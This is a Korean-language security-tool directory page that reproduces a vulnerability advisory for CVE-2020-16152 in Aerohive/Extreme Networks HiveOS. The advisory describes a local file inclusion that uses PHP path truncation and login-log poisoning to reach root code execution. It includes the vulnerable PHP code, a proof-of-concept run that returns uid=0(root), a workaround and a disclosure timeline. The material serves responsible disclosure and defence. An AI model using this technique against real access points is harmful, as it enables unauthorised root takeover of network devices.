Skip to content
KitploitKITPLOIT
도구블로그
제출
도구블로그
제출

해킹, 침투 테스트 및 사이버 보안 도구를 당신의 보안 무기고에!

Kitploit은 해킹, 사이버 보안 및 침투 테스트 도구 디렉토리입니다. 최신 프로젝트 업데이트를 발견하여 취약점을 찾고, 시스템을 분석하고, 테스트를 자동화하고, 보안을 강화하세요.

··피드·문의·개인정보·© 2026 Kitploit

도구 디렉토리

카테고리

모든 카테고리 보기
Loading categories
CVE-2020-16152 — CVE-2020-16152에 대한 설명 및 PoC | Kitploit
도구/GitHubGitHub/eriknl/cve-2020-16152
Vulnerability AnalysisExploitationLateral MovementWeb Application ExploitationPenetration TestingBinary Exploitation
GitHuberiknl/cve-2020-16152

CVE-2020-16152

CVE-2020-16152에 대한 설명 및 PoC

저장소 보기
1165년 전아직 검토되지 않음

인기

모두 보기 →

커뮤니티에서 가장 많이 사용되는 도구를 찾아보세요.

모든 도구 탐색

도구 컬렉션을 둘러보세요

모든 도구 보기 →
공유

CVE-2020-16152

요약

제품 공급업체Aerohive Networks / Extreme Networks
제품명HiveOS / IQ Engine
제품 버전10.0r8a build-242466 및 이전 버전에서 테스트됨

Aerohive/Extreme Networks HiveOS 관리 웹 인터페이스(NetConfig)는 문자열 잘림(string truncation) 공격에 취약한 오래된 버전의 PHP를 사용하기 때문에 LFI에 취약합니다. 공격자는 이를 로그 오염과 함께 사용하여 취약한 액세스 포인트에서 root 권한을 획득할 수 있습니다.

이 취약점으로부터 보호하기 위한 해결 방법으로 다음 명령어를 사용하여 웹 인터페이스를 비활성화할 수 있습니다: no system web-server hive-UI enable

공개 타임라인:

세부 사항

url /action.php5에서 참조되는 action/AhBaseAction.class.php5 호출에 사용되는 _page 매개변수는 아래 코드 스니펫에서 볼 수 있듯이 페이지에 사용되는 PHP 클래스를 동적으로 로드하는 데 사용됩니다($pageName은 $_POST['_page']에서 가져옵니다):

root@kitploit:~
protected function getAccess($pageName,$actionType) {
  $filename = $pageName.'Access.class.php5';
  $classname = $pageName.'Access';
  if (include_once $filename) {
    require_once $filename;
    return new $classname($this->user,$actionType);
  }
  ...
}

보시다시피 이 파일 이름에는 접두사가 없어 임의의 파일로 경로를 탐색할 수 있습니다. 하지만 접미사가 붙기 때문에 아무 파일이나 포함할 수는 없습니다. 액세스 포인트의 PHP 버전이 상당히 오래되었기 때문에 실제로 이 문제를 우회할 수 있습니다(추가 정보)):

root@kitploit:~
$ php-cgi -v
PHP Warning:  PHP Startup: Cannot dynamically load sockets.so - dynamic modules are not supported in Unknown on line 0
PHP 5.2.17 (cgi-fcgi) (built: May 28 2020 23:36:34)
Copyright (c) 1997-2010 The PHP Group
Zend Engine v2.2.0, Copyright (c) 1998-2010 Zend Technologies

경로를 충분한 / 문자로 채우면 Access.class.php5 접미사가 완전히 잘리도록 하여 임의의 파일을 자유롭게 포함할 수 있습니다. 실패한 로그인 시도는 /tmp/messages에 기록되고 제출된 사용자 이름이 포함되므로, 로그인 페이지를 사용하여 /tmp/messages를 오염시키고 위에 나열된 LFI 공격으로 여기에서 코드를 실행할 수 있습니다. 웹서버 자체는 낮은 권한의 사용자로 실행되지만 hiawatha에서 사용하는 php-cgi 인스턴스는 실제로 _root_로 실행되므로 모든 PHP 코드가 root로 실행됩니다:

root@kitploit:~
$ ps | egrep "php|hiawatha"
 2237 root      9980 S    /usr/local/bin/php-cgi -b 127.0.0.1:2008
12088 admin    20840 S    /usr/local/sbin/hiawatha

PoC

root@kitploit:~
$ ./CVE-2020-16152.py 192.168.0.166 'echo -e "\n\n";id' | tail
2020-08-30 13:56:28 notice  root: ntpclient: [ntpclient]Set time - Sun Aug 30 13:56:28 GMT+1:00 2020
2020-08-30 13:56:28 notice  root: Connect [0.aerohive.pool.ntp.org] successful
2020-08-30 13:56:54 info    ah_dcd: application: get track-ip trigger access console request: cancel.
2020-08-30 13:57:00 notice  root: ntpclient: [ntpclient]Set time - Sun Aug 30 13:57:00 GMT+1:00 2020
2020-08-30 13:57:00 notice  root: Connect [0.aerohive.pool.ntp.org] successful
2020-08-30 13:57:31 notice  ah_webui: security: Admin "<


uid=0(root) gid=0(root)

도구 다운로드
2019/02/17문제가 Aerohive Networks에 보고됨
2019/02/19공급업체로부터 문제 확인을 접수했으며, 공급업체가 해결 방법(웹 인터페이스 비활성화)을 제안함
2019/02/25공급업체가 문제를 확인함
2019/03/18문의?
2019/05/30문의?
2019/06/03공급업체가 전화 통화를 제안하여 전화 정보로 답변했지만, 전화를 받지 못함
2019/08/12문의? 공급업체가 내부적으로 문제가 에스컬레이션되었다고 답변함
2019/09/23문의?
2019/09/25공급업체가 LFI 문제가 아직 해결되지 않았다고 답변함
2020/07/3005/2020에 출시된 HiveOS 10.0r8a build-242466에서도 문제가 여전히 수정되지 않았음을 확인함. CVE를 예약하고, 수정이 적극적으로 진행 중이지 않으면 2020/09/01을 공개 마감일로 통보함
2020/09/01여전히 공급업체의 답변이 없어 세부 정보와 PoC를 공개함